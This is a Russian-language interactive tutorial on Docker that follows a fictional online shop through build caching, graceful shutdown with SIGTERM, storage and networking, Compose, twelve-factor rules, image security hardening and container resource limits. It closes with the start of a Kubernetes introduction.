    Эти две инструкции путают чаще всех остальных вместе взятых. Правило такое: ENTRYPOINT — это «программа», CMD — «аргументы по умолчанию» к ней. Если ENTRYPOINT не задан, CMD — вся команда целиком. Аргументы в docker run образ … заменяют CMD, а ENTRYPOINT остаётся. Заменить ENTRYPOINT можно только явно флагом --entrypoint.

    ENTRYPOINT — кофемашина, CMD — кнопка «капучино», которая нажата по умолчанию. Гость может нажать другую кнопку (передать свои аргументы), но машина останется кофейной. Чтобы сварить в ней чай, машину придётся заменить целиком.

    Выберите, как написан Dockerfile и как его запускают. Посмотрите, что получится.

    как написано в Dockerfile
    как запускают
    
        
    Две формы записи. CMD ["node", "dist/server.js"] — это exec-форма (массив в квадратных скобках): Docker запускает node напрямую, и он становится главным процессом контейнера. CMD node dist/server.js — shell-форма: Docker запускает оболочку /bin/sh -c "node dist/server.js". Главным процессом становится оболочка, и документация Docker прямо предупреждает: в таком виде приложение может не получить сигнал остановки. Почему это важно — глава 8. Правило простое: всегда exec-форма.

    Какой базовый образ выбрать

    Первая строка FROM определяет, на чём стоит всё остальное. Размеры ниже — порядок величины для образов с Node.js 24 в распакованном виде; точные цифры меняются от версии к версии.

    Проще говоря. Для сборки берите большой удобный образ — он никуда не поедет. Для запуска — самый маленький, в котором ваше приложение работает: slim, distroless или «закалённый». Как совместить оба в одном Dockerfile — в следующей главе.

    глава 7 · главный интерактив конструктор слоёв: почему сборка идёт то 3 секунды, то 2 минуты

    Первый Dockerfile Борис написал «как думал»: скопировать всё, установить зависимости, собрать. Образ получился на 1,7 ГБ, а каждая правка одной строчки кода пересобиралась больше минуты и заставляла сервер скачивать сотни мегабайт. Разберёмся, почему, — и починим своими руками.

    Кеш сборки (build cache) — сохранённые результаты прошлых сборок. Если шаг и всё, что было до него, не изменились, сборщик не выполняет шаг заново, а берёт готовый слой. В выводе сборки это видно по слову CACHED.
    вы собираете бутерброд по рецепту: хлеб, масло, сыр, помидор. Помидор оказался несвежим — меняете только помидор. Но если несвежим оказалось масло, придётся снять сыр и помидор, поменять масло и положить всё сверху заново. Слой нельзя вытащить из середины: всё, что выше, собирается снова.

    Как сборщик решает, брать ли слой из кеша. Три правила:

    1. Шаг берётся из кеша, если предыдущий слой тот же и текст инструкции тот же.
    2. Для COPY и ADD ещё сравнивается содержимое копируемых файлов. Поменяли хоть один файл — шаг выполняется заново.
    3. Как только один шаг выполнен заново, все шаги ниже тоже выполняются заново — их «предыдущий слой» стал другим.

    Что делать в конструкторе. Слева — Dockerfile. Стрелками ↑↓ меняйте порядок строк. Справа отметьте, что вы поменяли с прошлой сборки, и нажмите «▶ docker build». Первая сборка всегда идёт без кеша — соберите один раз, потом меняйте код и собирайте снова. Включите .dockerignore и многоэтапную сборку и сравните размер. Цифры — правдоподобный порядок величины для небольшого сервиса на Node.js.

    что поменялось с прошлой сборки
    настройки
    $ docker build -t botinok/catalog .
    Как читать конструктор. Зелёная строка CACHED — слой взят из кеша, это мгновенно. Оранжевая — шаг выполнен заново, указано время. Красная — шаг упал, сборка остановилась. Метаданные (ENV, USER, EXPOSE, CMD) слоёв с файлами не создают и ничего не стоят. «Скачать при выкатке» — сколько мегабайт новых слоёв придётся забрать каждому серверу: старые слои у него уже есть (глава 5).

    Что стоит за цифрами

    Порядок: от редкого к частому

    Зависимости меняются раз в неделю, код — двадцать раз в день. Поэтому сначала копируем только package.json и lock-файл и ставим зависимости, а исходники копируем после. Тогда правка кода не трогает тяжёлый слой npm ci.

    Многоэтапная сборка

    В одном Dockerfile два образа. Первый — «кухня»: компилятор, dev-зависимости, весь мусор сборки. Второй — «тарелка»: только готовое приложение и нужные для запуска библиотеки. Инструкция COPY --from=build переносит с кухни на тарелку только результат.

    RUN не смотрит в интернет

    Ключ кеша для RUN — это текст команды, а не её результат. RUN apt-get update однажды закешируется — и будет «обновлять» список пакетов недельной давности вечно. Поэтому update и install пишут в одной строке, а в CI периодически собирают с --pull --no-cache.

    Кеш в CI

    На сервере сборки кеш часто пропадает между запусками: каждый раз новая чистая машина. Помогают внешний кеш в реестре (--cache-to / --cache-from) и кеш-монтирования RUN --mount=type=cache для папки пакетного менеджера. Подробнее — в разделе про CI/CD.

    Многоэтапная сборка (multi-stage build) — Dockerfile с несколькими инструкциями FROM. Каждая начинает новый этап; в итоговый образ попадает только последний этап и то, что в него явно скопировали из предыдущих.
    ремонт кухни. Пока идёт ремонт, в квартире перфоратор, мешки с цементом, стремянки. Хозяевам достаётся только готовая кухня — инструменты уезжают с бригадой. Многоэтапная сборка — это договор, что бригада увезёт инструменты с собой.

    глава 8 · жизнь и смерть PID 1, SIGTERM и почему теряются заказы при выкатке

    Каталог уехал в контейнеры, и всё стало хорошо. Почти. Олег заметил в отчётах странность: каждый раз во время выкатки новой версии несколько покупателей получают ошибку при оформлении заказа. Выкатка идёт каждый день — значит, каждый день кто-то теряет корзину. Чтобы понять почему, надо знать, как контейнер живёт и как умирает.

    Жизненный цикл

    created · контейнер создан из образа: есть слой для записи, настройки, сеть. Процесс ещё не запущен.
    running · главный процесс запущен. Контейнер жив, пока жив этот процесс.
    paused · процессы заморожены (редко нужно, для отладки).
    exited · главный процесс завершился. Остался код выхода и верхний слой — контейнер можно посмотреть или запустить снова.
    removed · контейнер удалён вместе с верхним слоем.

    docker run — это «создать + запустить» в одной команде. Политика перезапуска (restart policy) говорит Docker, что делать, когда процесс вышел: no — ничего; on-failure — перезапустить, только если код выхода не 0; always и unless-stopped — перезапускать всегда (второй — кроме случая, когда вы остановили контейнер сами). Между попытками Docker делает растущую паузу, начиная со 100 мс и каждый раз удваивая, чтобы не молотить сервер.

    PID 1 — особый процесс

    PID 1 — первый процесс в пространстве имён процессов (глава 3). В контейнере это ваше приложение (или то, что вы указали в ENTRYPOINT/CMD). Контейнер живёт ровно столько, сколько живёт PID 1. У этого процесса две особые обязанности: принимать сигналы и «хоронить» осиротевшие дочерние процессы (зомби).
    Сигнал (signal) — короткое уведомление, которое ядро доставляет процессу. SIGTERM (номер 15) — «пожалуйста, заверши работу»: процесс может его поймать и аккуратно закончить дела. SIGKILL (номер 9) — «немедленно»: поймать его нельзя, ядро просто уничтожает процесс.
    SIGTERM — это «магазин закрывается через 10 минут, пройдите на кассы». Покупатели дорасплачиваются, двери закрываются. SIGKILL — это отключили свет во всём здании: кто стоял у кассы с полной тележкой — ушёл ни с чем.

    Когда вы делаете docker stop (а любая выкатка новой версии — это остановка старого контейнера), происходит вот что: Docker шлёт SIGTERM процессу PID 1 и ждёт. По умолчанию — 10 секунд (в Kubernetes — 30). Не завершился — шлёт SIGKILL.

    Ловушка PID 1. Обычный процесс, который не написал обработчик SIGTERM, от этого сигнала просто умирает — так положено по умолчанию. А PID 1 — нет: ядро не применяет к нему действия «по умолчанию». Если приложение не поймало SIGTERM, сигнал молча игнорируется, и через 10 секунд приходит SIGKILL. Выкатка на 10 секунд дольше, и все запросы, что были в работе, обрываются.

    Живая модель: выкатка во время пика

    В контейнере каталога в момент остановки обрабатываются 8 запросов, самые длинные (оформление заказа) идут до 3 секунд. Каждую четверть секунды приходит новый запрос. Выберите, как запущен процесс, ловит ли приложение SIGTERM и сколько Docker ждёт перед SIGKILL. Нажмите «docker stop».

    как запущен процесс
    обработчик SIGTERM в коде
    10 с
    
        
    Как читать шкалу. Каждая полоса — запрос в работе. Зелёная с ✓ — успел, красная с ✕ — оборван. Жёлтая вертикаль — SIGTERM, красная — SIGKILL, зелёная — процесс сам завершился. Слева от полос — что за запрос.

    Как выглядит правильная остановка

    Код обработчика в Node.js занимает несколько строк:

    process.on('SIGTERM', async () => {
      ready = false;          // проверка готовности отвечает 503 — балансировщик уводит трафик
      server.close();         // перестаём принимать новые соединения
      await inFlightDone();   // дожидаемся запросов, которые уже в работе
      await db.end();         // закрываем пул соединений с базой
      process.exit(0);        // выходим сами, с кодом 0
    });

    Коды выхода: что говорит мёртвый контейнер

    КодЧто значитКуда смотреть
    0процесс завершился сам и успешновсё хорошо (если только он не должен был работать вечно)
    1ошибка в приложении: необработанное исключение, не нашёл настройкужурнал приложения: docker logs
    125Docker не смог даже создать контейнеропечатка в команде docker run, неверный флаг
    126команду нашли, но запустить не удалосьнет прав на исполнение файла
    127команда не найденаопечатка в CMD, в минимальном образе нет оболочки или утилиты
    137убит сигналом SIGKILL (128 + 9)"OOMKilled": true — кончилась память; иначе — не уложился в таймаут остановки или убит вручную
    139ошибка сегментации, SIGSEGV (128 + 11)падение в нативном коде, несовместимая библиотека
    143завершён сигналом SIGTERM (128 + 15)процесс завершился по SIGTERM: так выходит, например, JVM после своих обработчиков остановки или процесс без обработчика под tini
    • «При получении сигнала SIGTERM сервис в течение 1 секунды перестаёт считаться готовым, прекращает приём новых запросов, завершает текущие и закрывает соединения с базой и брокером. Полная остановка — не дольше 25 секунд».
    • «Выкатка новой версии не приводит к потере запросов: доля ошибок 5xx во время выкатки — не выше, чем в обычное время».

    глава 9 · данные и сеть где хранить то, что нельзя потерять, и как контейнеры находят друг друга

    Данные: контейнер — гостиничный номер

    Из главы 4 мы знаем: всё, что контейнер записал к себе, лежит в верхнем слое и исчезает при удалении контейнера. А удаляют их постоянно: каждая выкатка — это новый контейнер из нового образа. Это свойство называют эфемерностью.

    Эфемерность (ephemerality) — контейнер одноразовый: его в любой момент могут убить и создать заново, на другой машине и без старых файлов. Приложение должно быть к этому готово.
    гостиничный номер. Живите сколько угодно, раскладывайте вещи. Но при выезде горничная уберёт всё, что вы оставили. Ценное — в камеру хранения, она не зависит от того, в каком номере вы живёте.

    Чтобы данные пережили контейнер, их кладут вне его файловой системы. Способов три:

    Том (volume)

    Хранилище, которым управляет Docker (docker volume create pgdata). Живёт отдельно от контейнеров, подключается к любому. Главный способ для данных баз.

    Из жизни: ячейка камеры хранения при гостинице.

    Привязка папки (bind mount)

    Конкретная папка сервера или ноутбука, «проброшенная» внутрь: -v ./src:/app/src. Удобно в разработке: правите код в редакторе — контейнер сразу видит. В проде привязывает контейнер к конкретной машине.

    Из жизни: вы принесли в номер свой чемодан. Он ваш, но только пока вы в этом номере.

    tmpfs

    Папка в оперативной памяти: --tmpfs /tmp. Очень быстро, на диск ничего не попадает, исчезает при остановке. Для временных файлов и чувствительных данных, которые не должны оказаться на диске.

    Из жизни: записи мелом на доске: быстро, но стирается, когда уходите.

    Проверьте себя: что переживёт удаление контейнера, а что — нет.

    Решено 0 из 0.

    База данных в контейнере — можно ли?

    Для разработки и тестов — да, и это удобно: свежая база за секунду, одинаковая у всех. Для боевой базы — можно, но осторожно, и чаще выбирают управляемую базу облака или специальный оператор в Kubernetes. Причины:

    • Данные привязаны к диску конкретной машины. Контейнер можно перезапустить где угодно за секунду, а 500 ГБ данных — нет.
    • Смена тега — не обновление базы. Поменяли postgres:17 на postgres:18 — новая версия не запустится на старых файлах: формат данных между основными версиями PostgreSQL другой, нужна миграция через pg_upgrade или выгрузку-загрузку.
    • Официальный образ может поменять путь к данным. Начиная с PostgreSQL 18 официальный образ хранит данные в /var/lib/postgresql/18/docker и ждёт том в /var/lib/postgresql. Если по старой привычке подключить том к /var/lib/postgresql/data, база запишется мимо тома и «пропадёт» при пересоздании контейнера.
    • Резервные копии, репликация, обновления, мониторинг — всё это никуда не делось и в контейнере требует той же работы, что и без него.
    Журналы — не в файлы. Ещё один «жилец» файловой системы — журналы. В контейнере их пишут не в файл, а в стандартный вывод (stdout): Docker собирает их (docker logs), а платформа отправляет в систему сбора журналов. Файл журнала внутри контейнера растёт в верхнем слое и пропадёт вместе с ним — как раз тогда, когда он нужнее всего, после падения.

    Сеть: как контейнеры находят друг друга

    У каждого контейнера своё пространство имён сети (глава 3): свой адрес, свой localhost, свои порты. Чтобы контейнеры могли говорить друг с другом и с внешним миром, Docker строит виртуальные сети.

    Сеть bridge (мост) — виртуальный коммутатор внутри машины. Каждый контейнер подключается к нему своим виртуальным «кабелем» и получает внутренний адрес вроде 172.18.0.5. Контейнеры одной сети видят друг друга; снаружи их не видно, пока вы не опубликуете порт.
    внутренняя телефонная станция офиса. Сотрудники звонят друг другу по коротким номерам, а с улицы до них не дозвониться — только через секретаря, у которого есть городской номер.

    bridge (своя сеть)

    Режим по умолчанию. Для сетей, которые вы создали сами (и для сетей docker compose), работает встроенный DNS: контейнер находит соседа по имени, например db. В самой первой сети по умолчанию (docker0) поиска по имени нет — поэтому для нескольких контейнеров всегда создают свою сеть.

    host

    Контейнер использует сеть машины напрямую — сетевых шор нет. Чуть быстрее, но порт 3000 занят на всей машине, второй экземпляр не запустится, а изоляция сети пропадает.

    none

    Сети нет вообще, только localhost. Для задач, которые не должны ходить в сеть: например, обработка файлов.

    Публикация порта

    -p 8080:3000 — «звонки на городской номер 8080 соединять с внутренним 3000 в контейнере». Слева — порт машины, справа — порт контейнера. -p 127.0.0.1:5432:5432 — открыть только для самой машины, не для всего мира.

    Встроенный DNS Docker — служба, которая внутри пользовательской сети отвечает на вопрос «какой адрес у контейнера db?». В контейнере она видна по адресу 127.0.0.11. Именно поэтому в строке подключения пишут db:5432, а не IP-адрес: адреса меняются при каждом пересоздании, имена — нет.

    Посмотрите, что происходит, когда каталог подключается к базе по имени:

    • В приложении прописано localhost:5432, а база — в соседнем контейнере. Внутри контейнера localhost — это он сам. Нужно имя сервиса: db:5432.
    • -p 5432:5432 на сервере в интернете — и база открыта всему миру. Мало того: на Linux Docker сам прописывает правила сетевого экрана, и опубликованный порт может оказаться доступен в обход правил, которые вы настроили в ufw. Публикуйте только то, что должно быть снаружи, и только на нужный адрес.
    • Инструкция EXPOSE 3000 в Dockerfile ничего не публикует. Это просто пометка «приложение слушает 3000». Открывает порт только -p (или ports: в compose).

    глава 10 · стенд весь магазин на ноутбуке одной командой

    В команду пришёл новый разработчик Гоша. Раньше новичок два дня ставил себе PostgreSQL, Redis и Kafka по вики и ещё день выяснял, почему у него «не та версия». Теперь Гоша клонирует репозиторий и набирает одну команду: docker compose up. Через 15 секунд у него работает каталог со своей базой, кешем и брокером сообщений.

    Docker Compose — инструмент, который описывает в одном YAML-файле несколько связанных контейнеров (сервисы, их сети, тома, переменные) и поднимает их одной командой. Файл обычно называется compose.yaml или docker-compose.yml. Современная команда — docker compose (через пробел); старый отдельный инструмент docker-compose больше не развивается.
    партитура для оркестра. Вместо того чтобы каждому музыканту говорить отдельно, когда вступать, дирижёр раздаёт одну партитуру — и оркестр играет вместе.

    Нажимайте на строки файла — справа появятся объяснения.

    Проверка здоровья (healthcheck) — команда, которую Docker регулярно выполняет внутри контейнера, чтобы понять, готов ли сервис. Пока проверка не прошла, контейнер в состоянии starting; прошла — healthy; упала несколько раз подряд — unhealthy.
    depends_on — «этот сервис зависит от того». Без условий означает только порядок запуска: сначала запустить базу, потом приложение. С условием condition: service_healthy — «не запускать приложение, пока база не станет healthy».
    «процесс запущен» и «готов работать» — не одно и то же. Повар пришёл на кухню (запущен), но плиту ещё не разогрел (не готов). Официант, который отдаст ему заказ в первую же секунду, получит «подождите». depends_on без условия — это «официант, приходи после повара». С условием — «приходи, когда плита горячая».

    Живая модель: поднимите и уроните стенд

    Выберите, как описаны зависимости, и нажмите «docker compose up». Потом попробуйте уронить базу, сделать заказ от имени Анны, выключить стенд с томами и без.

    как описан depends_on у app
    $ 
    Что вы увидите. Без условия приложение стартует раньше, чем база готова принимать подключения, падает с ошибкой ECONNREFUSED, и Docker перезапускает его по кругу, пока все не поднимутся. С условием service_healthy приложение спокойно ждёт. А если уронить базу на работающем стенде, depends_on не поможет: он работает только при запуске. Во время работы приложение само должно переживать потерю базы — повторять подключение, отвечать понятной ошибкой (об этом — раздел об устойчивости).
    • Путают docker compose down и down -v. Второй удаляет тома — вместе с тестовыми данными, которые тестировщик готовил неделю.
    • В compose для разработки стоит postgres:16, а в проде PostgreSQL 18. Тесты проходят, а в проде запрос падает на поведении, которого в старой версии не было. Версии на стенде должны совпадать с продом (фактор X, следующая глава).
    • Пароли пишут прямо в compose.yaml и коммитят в git. Правильно — подставлять из файла .env, которого нет в репозитории, как ${DB_PASSWORD} в примере.
    • Используют compose как боевую платформу для многих машин. Compose — это одна машина: отличен для разработки, тестов и маленьких установок. Для кластера — Kubernetes (следующий раздел).

    глава 11 · правила двенадцать факторов: каким должно быть приложение, чтобы жить в контейнере

    Контейнер — это только упаковка. Если внутри приложение, которое хранит сессии в памяти, пишет журналы в файл и читает адрес базы из кода, — упаковка не спасёт. В 2011 году инженеры платформы Heroku собрали опыт тысяч приложений в список из двенадцати правил — «Приложение двенадцати факторов» (The Twelve-Factor App). В 2024 году методологию передали сообществу как открытый проект. Правила старше Docker, но подходят к контейнерам идеально.

    Двенадцать факторов (twelve-factor app) — набор правил для приложений, которые разворачиваются как сервисы: как хранить код, настройки, зависимости, как запускаться, останавливаться и писать журналы, чтобы приложение одинаково работало на любой платформе и легко масштабировалось.

    Нажмите на фактор — раскроется объяснение, аналогия и связь с контейнерами.

    Тренажёр: какой фактор нарушен?

    Ниже — реальные ситуации из жизни «Ботинка». Определите, какое правило нарушено.

    Решено 0 из 0.

    глава 12 · безопасность образ, который не стыдно отправить в прод

    Служба безопасности прислала Вере отчёт сканера: в образе каталога 412 известных уязвимостей, из них 9 критических. Борис удивился: «Я же написал только сервис каталога!» Но образ — это не только его код. Это ещё операционная система, среда выполнения и сотни библиотек, которые пришли вместе с базовым образом. За всё это теперь отвечает команда.

    Поверхность атаки (attack surface) — всё, через что злоумышленник может попытаться войти: открытые порты, установленные программы, библиотеки, права. Чем меньше в образе лишнего, тем меньше поверхность.
    квартира с десятью дверями и тремя окнами на первом этаже против квартиры с одной дверью на пятом. Замки могут быть одинаковыми, но за второй следить проще.
    CVE (Common Vulnerabilities and Exposures) — общий каталог известных уязвимостей. У каждой свой номер, например CVE-2024-21626, и оценка опасности. Сканеры сверяют состав образа с этим каталогом.

    Найдите дыры в Dockerfile

    Этот Dockerfile написал стажёр. Нажимайте на строки, которые считаете проблемой. Каждая строка покажет вердикт: дыра или всё в порядке, и почему. Найдите все дыры.

    Найдено 0 из 0.

    Семь правил безопасного образа

    SBOM (Software Bill of Materials, «состав программы») — машиночитаемый список всех компонентов образа: пакетов ОС, библиотек, их версий и лицензий. Популярные форматы — SPDX и CycloneDX. Когда выходит новая уязвимость, по SBOM за минуты находят все образы, где стоит уязвимая версия.
    состав на упаковке продукта. Если выяснится, что партия какого-то ингредиента испорчена, по составу сразу видно, какие продукты снимать с полок.
    Подпись образа (image signing) — криптографическое подтверждение, что образ с этим отпечатком собрал именно ваш конвейер. Популярный инструмент — cosign из проекта Sigstore. Платформа при развёртывании проверяет подпись и не запускает неподписанное.
    пломба на счётчике. Счётчик может выглядеть как настоящий, но без целой пломбы контролёр его не примет.
    Регуляторы тоже спрашивают. SBOM всё чаще требуют заказчики: в США — после указа о кибербезопасности 2021 года для поставщиков государства, а в Евросоюзе постепенно вступает в силу Закон о киберустойчивости (Cyber Resilience Act), который обязывает производителей вести учёт компонентов и закрывать уязвимости. Если ваш продукт продаётся за рубеж или крупным заказчикам — SBOM стоит заложить в требования сразу.
    • «Контейнер сервиса запускается от непривилегированного пользователя, с файловой системой только для чтения; для временных файлов — tmpfs /tmp».
    • «Образ не содержит критических и высоких уязвимостей, для которых есть исправление. Проверка сканером — обязательный шаг конвейера; при нарушении сборка останавливается».
    • «Для каждого образа формируется SBOM в формате CycloneDX или SPDX и хранится рядом с образом в реестре. Образы подписываются; развёртывание неподписанных образов запрещено».
    • «Секреты (пароли, ключи, токены) не хранятся в образе и не передаются через аргументы сборки; сервис получает их при запуске из хранилища секретов».

    глава 13 · ресурсы JVM, Node и Go в контейнере: почему «тормозит при 30% процессора»

    Сервис корзины «Ботинка» написан на Java. После переезда в контейнер с лимитом в 1 процессор он стал отвечать медленно, хотя график загрузки процессора показывал спокойные 30%. А сервис рекомендаций на Java с лимитом 2 ГБ памяти падал с нехваткой памяти в куче, используя всего 512 МБ. Обе беды — от того, что программа внутри контейнера не всегда понимает, сколько ей на самом деле дали.

    Процессор: троттлинг

    Троттлинг (CPU throttling) — принудительная пауза, которую ядро устраивает контейнеру, когда тот израсходовал свою долю процессорного времени. Лимит --cpus=1 означает: «в каждый интервал 100 мс — не больше 100 мс процессорного времени суммарно по всем ядрам». Потратил раньше — жди конца интервала.
    абонемент в бассейн «60 минут в день», но на любых дорожках. Если вы с тремя детьми заняли четыре дорожки, ваши 60 минут кончатся за 15 минут реального времени — и следующие 45 минут вся семья стоит у бортика.

    Вот почему «30% в среднем» не спасает. Приложение с 8 потоками выжигает квоту за первые миллисекунды интервала и дальше стоит. Средняя загрузка низкая, а каждый запрос ждёт. Подберите параметры и посмотрите на интервалы.

    1
    8
    200 мс
    Модель упрощена. Считаем, что запрос делит свою работу поровну на все потоки и больше в контейнере ничего не происходит. В жизни добавляются сборщик мусора, фоновые задачи и соседние запросы — картина становится только хуже. Синие участки — работа, штриховка — пауза по троттлингу.

    Что с этим делают: согласуют число рабочих потоков с лимитом (в Java — -XX:ActiveProcessorCount, пулы потоков по числу выделенных ядер); следят за метрикой троттлинга, а не только за средней загрузкой; ставят лимит с запасом на пики. В Go начиная с версии 1.25 среда выполнения сама читает лимит процессора контейнера и выставляет GOMAXPROCS по нему; в более старых версиях это делали вручную.

    Память: куча и всё остальное

    Среды выполнения с автоматическим управлением памятью — Java, Node.js, Go — сами решают, сколько памяти брать под кучу. Важно, от чего они считают: от лимита контейнера или от всей памяти сервера.

    Java (JVM)

    Понимает лимиты контейнера начиная с JDK 10 (перенесено и в 8u191). По умолчанию берёт под кучу только 25% лимита — остальное простаивает. Обычно ставят -XX:MaxRAMPercentage=75, оставляя четверть на всё, что вне кучи: классы, потоки, буферы.

    Node.js

    Современные версии видят лимит контейнера. По данным Red Hat для Node.js 20+, по умолчанию куча — около половины лимита, но не больше примерно 2 ГБ. Для больших контейнеров задают явно: --max-old-space-size в мегабайтах.

    Go

    Сборщик мусора по умолчанию ориентируется на рост кучи, а не на лимит. С версии 1.19 есть мягкий предел GOMEMLIMIT: ставят около 90% лимита контейнера, и сборщик начинает работать чаще, подходя к нему.

    Подберите лимит контейнера и настройку среды выполнения так, чтобы память не простаивала и не заканчивалась.

    1024 МБ
    • «Экземпляр сервиса корзины работает в пределах 1 процессора и 1 ГиБ памяти при нагрузке 300 запросов в секунду; 99-й перцентиль времени ответа — не более 200 мс. Доля интервалов с троттлингом — не более 5%».
    • «Параметры памяти среды выполнения вычисляются от лимита контейнера, а не задаются абсолютными числами» — чтобы при смене лимита не пришлось пересобирать образ.

    глава 14 · экосистема кто на самом деле запускает контейнер

    Слово «Docker» стало нарицательным, как «ксерокс». Но под капотом команды docker run работает целая цепочка программ, и большинство из них — не Docker. Это полезно знать: Kubernetes, например, Docker давно не использует, а образы из Docker при этом запускает прекрасно.

    вы заказываете такси в приложении. Приложение (CLI) передаёт заказ диспетчерской (dockerd), та — таксопарку (containerd), таксопарк выделяет конкретного водителя (runc), водитель довозит пассажира (ваш процесс) и уезжает. Пассажиру нужна поездка, а не знание устройства таксопарка — но когда поездка не удалась, полезно понимать, на каком звене сломалось.

    Кто есть кто

    WebAssembly вместо контейнеров? WebAssembly (Wasm) — переносимый формат программ, который запускается в песочнице за миллисекунды и весит мегабайты. Его пробуют как лёгкую альтернативу контейнерам для небольших функций: через containerd можно запускать Wasm-модули теми же инструментами (проект runwasi), есть платформы вроде Spin. Но в 2026 году это всё ещё ниша: Docker Desktop пометил свою поддержку Wasm как устаревшую, а облачные предварительные версии подобных функций сворачивали. Для типичного сервиса магазина — обычный контейнер.

    глава 15 · аналитику что меняется в требованиях, когда система живёт в контейнерах

    Олег долго считал, что контейнеры — это «дело девопсов». Пока не понял, что половина решений, которые команда принимает про контейнеры, должна быть записана в требованиях: иначе её никто не проверит, а тестировщики не узнают, что проверять.

    Что появляется в постановке

    1. Среды и продвижение

    Какие среды есть (разработка, тест, предрелиз, прод), что между ними одинаково (образ), что различается (настройки). Правило «один образ — все среды, без пересборки».

    2. Контракт настроек

    Таблица переменных окружения: имя, назначение, обязательность, значение по умолчанию, секрет или нет, пример. Это такой же контракт сервиса с платформой, как API — с клиентами.

    3. Здоровье и готовность

    Какие адреса проверки есть (живость, готовность), что значит «готов» (подключился к базе, прогрел кеш), сколько времени допустимо до готовности.

    4. Остановка и выкатка

    Что делает сервис по SIGTERM, за сколько обязан остановиться, допустимы ли потери запросов при выкатке.

    5. Ресурсы

    Сколько процессора и памяти нужно экземпляру при заданной нагрузке. Это входные данные для расчёта стоимости и масштабирования.

    6. Состояние и данные

    Сервис не хранит ничего важного у себя: загруженные файлы — в объектном хранилище, сессии — в общем кеше, журналы — в stdout.

    Пример контракта настроек каталога — в таком виде его удобно положить в постановку:

    ПеременнаяНазначениеОбязательнаПо умолчаниюСекретПример
    PORTпорт, который слушает сервиснет3000нет3000
    DATABASE_URLподключение к PostgreSQL каталогада—даpostgres://catalog:***@db:5432/shop
    REDIS_URLкеш карточек товаровда—нетredis://cache:6379
    KAFKA_BROKERSброкеры для событий «цена изменилась»да—нетkafka:9092
    CACHE_TTL_SECсколько секунд живёт карточка в кешенет300нет60
    LOG_LEVELподробность журналовнетinfoнетdebug
    Время и часовые поясы. Большинство базовых образов живут в UTC. Если в требованиях есть «акция до полуночи», в них же должно быть написано, до чьей полуночи, а в данных время хранится в UTC и переводится при показе. Иначе история главы 1 повторится — уже внутри контейнера.

    Хорошее требование или нет?

    Разложите формулировки. Хорошее требование проверяемо и говорит, что нужно, а не пересказывает инструмент.

    Решено 0 из 0.

    Частые ошибки аналитика

    глава 16 · проверь себя двенадцать вопросов

    Вопросы — по всем главам раздела. После ответа появится разбор.

    Решено 0 из 0.

    Дальше → Kubernetes: как управлять сотнями контейнеров на десятках машин — перезапуск, масштабирование, выкатка и самолечение

    Kubernetes — это диспетчерская для контейнеров. Вы не говорите ему «запусти вот это на третьем сервере». Вы говорите, что должно быть: «четыре копии магазина версии 2.0, каждой по половине процессора». Дальше он сам решает, где их поставить, и круглые сутки следит, чтобы так и оставалось: упал контейнер — поднимет, умер сервер — переселит, вышла новая версия — заменит по одной копии без простоя. Весь раздел — одна история: магазин «Ботинок» переезжает от ручной расстановки контейнеров в Kubernetes, а аналитик Олег учится понимать, что из этого следует для требований.

    зачем это что даёт Kubernetes и чем за него платят

    карта раздела одна история, шестнадцать глав

    Главы идут по порядку и опираются друг на друга. Самая важная — пятая: живой кластер, который можно ломать. К нему ведут кнопки из других глав. Нажмите на главу, чтобы перейти к ней.

    глава 1 · завязка сорок контейнеров на десяти серверах: кто за ними смотрит?

    «Ботинок» уже разрезан на двенадцать сервисов: каталог, корзина, оплата, доставка и так далее (как и зачем режут — в разделе про микросервисы). Каждый сервис упакован в контейнер — коробку, в которой лежит программа со всем, что ей нужно для запуска (подробно — в разделе про Docker). Чтобы выдержать нагрузку и пережить поломки, каждый сервис запущен в нескольких копиях. Каталог — в четырёх, корзина и оплата — в трёх. Всего набирается 40 контейнеров на 10 серверах.

    Разработчик Борис запускает их руками. Заходит на сервер по SSH, пишет docker run …, записывает в общую таблицу, что где стоит. Адреса соседей прописаны в конфиге балансировщика. Пока серверов два — терпимо. На десяти начинаются вопросы, на которые нет хозяина.

    📦 Кто разместит?

    На каком из десяти серверов хватит памяти и процессора для нового контейнера? Смотреть глазами каждый раз?

    🔁 Кто перезапустит?

    Контейнер упал в три часа ночи. Кто заметит и поднимет его снова?

    🚚 Кто переселит?

    Умер целый сервер, а на нём четыре контейнера. Куда их перенести и кто это сделает?

    🚀 Кто обновит?

    Вышла новая версия каталога. Как заменить четыре копии так, чтобы покупатели ничего не заметили?

    🧭 Кто подскажет адрес?

    Корзина хочет позвать оплату. Оплата вчера переехала на другой сервер. Откуда корзине знать новый адрес?

    Одна ночь без диспетчера

    Пройдите по шагам настоящую ночь «Ботинка» до переезда. Смотрите на схему: что сломалось, кто что делает и сколько это заняло.

    Как читать схему. Подсвечено то, что участвует в шаге. Красное — сломано, жёлтое — ждёт или работает вполсилы, зелёное — в порядке. Часы показывают, сколько длится беда.

    Что такое оркестратор

    Оркестратор контейнеров (container orchestrator) — программа, которая управляет контейнерами на множестве серверов сразу. Она решает, где запустить контейнер, следит, чтобы он работал, перезапускает и переносит его при сбоях, обновляет версии и связывает контейнеры друг с другом по сети.
    диспетчерская морского порта. Капитаны не выбирают причал сами. Диспетчер знает, какие причалы свободны и какой кран какой груз поднимет. Если кран сломался, он перенаправит судно к другому причалу. У него есть план порта: «у пятого причала должны разгружаться три судна». Он сверяется с этим планом постоянно, а не только когда позвонят.
    Kubernetes (читается «кубернетес», коротко K8s — между K и s восемь букв) — самый распространённый оркестратор контейнеров. Сделан в Google по опыту их внутренней системы Borg, открыт в 2014 году, версия 1.0 вышла в 2015-м. Сейчас его развивает фонд CNCF. Слово греческое и значит «кормчий», «рулевой» — отсюда штурвал ☸ на логотипе. Новая версия выходит примерно три раза в год; в сентябре 2026 года актуальна ветка 1.37.
    Кластер (cluster) — группа серверов, которые Kubernetes считает одним большим компьютером. Вы отдаёте работу кластеру, а не конкретному серверу.
    Узел (node) — один сервер в кластере: физический или виртуальная машина. На узлах и работают контейнеры.
    Осторожно со словом «узел». В разделах про балансировщики и выкатку «узлом» мы называли одну запущенную копию программы. В Kubernetes слово «узел» занято: это сервер. А одна запущенная копия программы здесь называется подом (pod). В этом разделе держимся терминов Kubernetes: узел — машина, под — копия программы на ней.
    Под (pod) — самая маленькая единица, которую запускает Kubernetes: один или несколько контейнеров, которые живут вместе на одном узле и делят один сетевой адрес. Чаще всего в поде один главный контейнер. Подробно — в главе 4.
    под — это каюта на корабле. В каюте может жить один человек или семья. У каюты один номер (адрес), и кто в ней живёт — живёт вместе: общий шкаф, общий иллюминатор. Нельзя поселить маму в одну каюту, а её вещи — в другую.
